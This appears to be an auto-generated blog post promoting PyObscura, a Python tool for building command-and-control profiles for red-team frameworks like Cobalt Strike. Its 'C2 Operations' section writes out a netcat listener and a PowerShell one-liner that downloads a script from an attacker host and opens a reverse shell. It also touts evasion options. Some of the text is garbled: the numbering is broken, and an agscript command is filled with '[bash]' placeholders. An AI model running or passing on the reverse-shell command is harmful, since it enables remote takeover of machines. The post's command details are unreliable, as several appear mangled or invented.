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GitHub – dmcxblue/PyObscura: A python script that automates a C2 Profile build
https://github.com/dmcxblue/PyObscura
You Should Know:
1. What is PyObscura?
PyObscura is a Python script designed to automate the creation of Command and Control (C2) profiles, commonly used in red teaming and penetration testing. It simplifies the process of generating customized C2 configurations for frameworks like Cobalt Strike, Sliver, or Mythic.
2. Key Features:
- Automates repetitive tasks in C2 profile generation.
- Supports customization for evasion techniques (e.g., sleep obfuscation, API unhooking).
- Integrates with popular C2 frameworks.
3. Practical Usage & Commands:
Installation & Setup
git clone https://github.com/dmcxblue/PyObscura.git cd PyObscura pip install -r requirements.txt
Generating a Basic C2 Profile
python3 PyObscura.py --output custom_profile.c2 --template http
Advanced Evasion Techniques
To enable sleep obfuscation:
python3 PyObscura.py --output stealth_profile.c2 --jitter 50 --sleep 5 --obfuscate
Integration with Cobalt Strike
After generating a profile:
- Place the `.c2` file in Cobalt Strike’s `profiles` directory.
2. Load it via:
./agscript [bash] [bash] [bash] [bash] custom_profile.c2
4. Linux & Windows Commands for C2 Operations
- Linux (Netcat Listener):
nc -lvnp 4444
- Windows (Reverse Shell):
IEX(New-Object Net.WebClient).DownloadString("http://attacker-ip/Invoke-PowerShellTcp.ps1"); Invoke-PowerShellTcp -Reverse -IPAddress [attacker-ip] -Port 4444 - Traffic Obfuscation (OpenSSL):
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
What Undercode Say:
Automating C2 profile generation with PyObscura significantly reduces manual errors and enhances operational security. Combining it with traffic encryption (e.g., SSL/TLS) and sleep obfuscation improves evasion. Red teams should also monitor for anomalies using:
Linux (Detect Suspicious Connections) netstat -tulnp | grep -E '4444|53|80'
Windows (Log Network Activity)
Get-NetTCPConnection -State Established | Where-Object { $_.RemotePort -eq 4444 }
Expected Output:
A streamlined C2 profile (custom_profile.c2) ready for deployment in frameworks like Cobalt Strike, with configurable evasion tactics.
References:
Reported By: Florian Hansemann – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
